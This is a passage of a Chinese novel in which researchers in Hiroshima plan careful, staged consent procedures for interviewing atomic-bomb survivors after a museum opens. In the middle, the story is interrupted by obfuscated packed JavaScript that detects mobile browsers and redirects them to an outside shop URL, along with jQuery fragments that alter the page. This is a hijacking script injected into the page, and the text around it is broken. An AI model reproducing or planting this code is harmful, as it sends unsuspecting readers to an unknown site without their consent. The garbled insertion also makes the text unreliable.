开馆后的第三天，早上九点，沈晴第一次没有先去新馆。
她的出差日期又被延长了两周。因为被广岛市政府委托协助藤井跟进被爆者生活记录室前期研究与访谈。
她去了资料馆的会议室。
桌上已经放着一摞问卷。
比开馆前三天时更厚。
藤井把最新汇总表投到屏幕上。
第一轮发出的九十六份问卷，目前仍有零星回收。
数字还在变化。
但今天讨论的重点已经不是回收率。
屏幕最上方写着：
「被爆者战后生活记录前期研究——下一阶段实施确认」
沈晴坐下来。
开馆以后，这个标题第一次不再跟在别的会议后面。
不是运营会议最后十五分钟。
不是媒体准备结束以后顺便确认。
也不是“等开馆以后再讨论”。
它终于有了自己的时间。
九里最后一个进来。
他拉开椅子坐下，看了一眼屏幕。
“终于。”
藤井问：“什么终于？”
“终于不用再说开馆以后。”
藤井笑了一下。
“才第三天。”
“已经开了。”
“所以你就开始催了？”
“不是催。”
九里把资料放到桌上，“只是这个理由已经不能用了。”
沈晴知道他说的是什么。
过去一个月，只要讨论再往前一步，总会有人说：
先等开馆。
先把运营稳定下来。
先完成媒体预览。
先完成学校团体测试。
先把眼前的事情做完。
这些理由都成立。
可是另一边的时间，从来没有因为他们忙着开馆而停下来。
藤井没有反驳。
她翻到第二页。
“今天先确定下一阶段怎么做。”
不是正式采访。
首先进行的是采访前说明。
对于已经明确表示愿意进一步接受采访的人，由研究团队依次联系。
说明研究目的。
确认本人意愿。
解释记录形式。
解释保存方式。
解释未来可能的利用范围。
解释匿名与公开。
解释中止与撤回。
确认是否希望家属在场。
也要再次说明——
问卷里勾选“愿意接受采访”，不代表之后的所有环节都已经取得同意。
“每一步重新确认。”
藤井说。
“对。”
负责研究伦理的工作人员翻开资料，“尤其是录音、影像、公开利用，要分开。”
屏幕上出现了一张新的确认表。
愿意接受进一步说明。
愿意接受正式采访。
记录方式：文字／录音／影像。
是否同意姓名公开。
是否同意研究利用。
是否同意教育利用。
是否同意馆内查阅。
是否同意网络公开。
每一项后面都不是简单的“是”。
还有：
暂不决定。
仅限部分内容。
希望采访后再次确认。
沈晴看到最后一项。
“这个保留。”
她说。
“哪一个？”
“采访后再次确认。”
她指着屏幕，“有些人现在可能不知道自己最后会讲什么。采访以前让他一次决定全部公开范围，不现实。”
工作人员点头。
“本来也是这么考虑的。”
“而且不同内容可以不同。”
沈晴说，“比如工作经历可以公开，家庭部分不公开。不能因为一场采访，就默认整段人生只有一种授权方式。”
藤井在记录里加了一条。
九里一直没有说话。
等他们讨论完，他才问：
“采访以后呢？”
“什么？”
“记录放在哪里？”
研究负责人回答：“数字档案系统。”
“我不是问文件存在哪里。”
会议室安静了一下。
九里继续说：
“我是说以后，人在哪里遇见这些记录？”
这个问题已经不是第一次出现。
开馆以前，他就问过。
数据库可以保存。
服务器可以保存。
档案室也可以保存。
可保存和被遇见，不是同一件事。
藤井看他。
“你又想说生活记录室？”
“名字无所谓。”
九里说，“也不一定是一个房间。”
沈晴接过话。
“可以是查阅。”
“也可以是听。”
“或者影像。”
“也可能只是一个很安静的地方。”
藤井看着两个人。
“你们已经开始设计了？”
“没有。”
沈晴立刻说。
九里也说：“没有。”
藤井笑了一下。
“回答得倒是很一致。”
她低头，在会议记录里写了一行。
开馆后继续研究被爆者战后生活记录的长期保存、查阅及公共利用方式。
和开馆前三天记录下来的那句话一样。
没有预算。
没有空间。
没有施工时间。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959234|214261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
甚至没有正式名称。
但它没有随着新馆开门而消失。
这已经够了。
会议继续。
研究负责人开始说明第一批采访前沟通的安排。
不一次联系全部人员。
先根据身体情况、本人意愿和联络条件，分批进行。
电话说明以后，如果本人仍然愿意，再安排面对面沟通。
正式采访时间另行决定。
“不要为了尽快产生第一份成果赶进度。”
藤井说。
“开馆已经赶完了。”
九里说。
“这件事不赶。”
没人反对。
沈晴低头翻手里的名单。
名字并不都完整。
有些人希望匿名。
有些只留下了通过相关机构联系的方式。
有些由家属协助填写。
还有几份旁边标着：
暂缓联系。
原因可能是住院。
身体状况。
家庭安排。
也可能只是本人现在不想谈。
她翻到胜一那一页。
姓名。
年龄。
联系方式。
愿意进一步了解。
愿意接受采访。
文字、录音可以。
公开范围另行确认。
希望本人直接联系。
很简单。
没有东京居酒屋。
没有长野。
没有三根钢钉。
没有静子。
没有和美。
也没有“医院毕业”。
那些事情现在仍然只属于胜一自己。
直到他再次决定把它们说出来。
会议进行到十点二十分，一名工作人员从外面进来，把刚收到的几份回邮信封放在桌边。
“今天早上的。”
藤井点头。
“先登记。”
工作人员没有在会议中拆。
十点四十五分，第一部分结束。
大家休息十分钟。
沈晴去自动贩卖机买咖啡。
回来时，看见负责登记的工作人员坐在角落。
桌上已经拆开了刚才送来的信。
她的动作比平时慢。
沈晴没有过去问。
过了一会儿，对方拿着其中一份走到藤井旁边。
两个人低声说了几句。
藤井接过问卷，看了一会儿。
重新开会以后，她把汇总表调出来。
“数字要再改一下。”
所有人抬头。
“又有一份家属反馈。”
没有人说话。
藤井继续说：
“原定收件人今年春天去世。”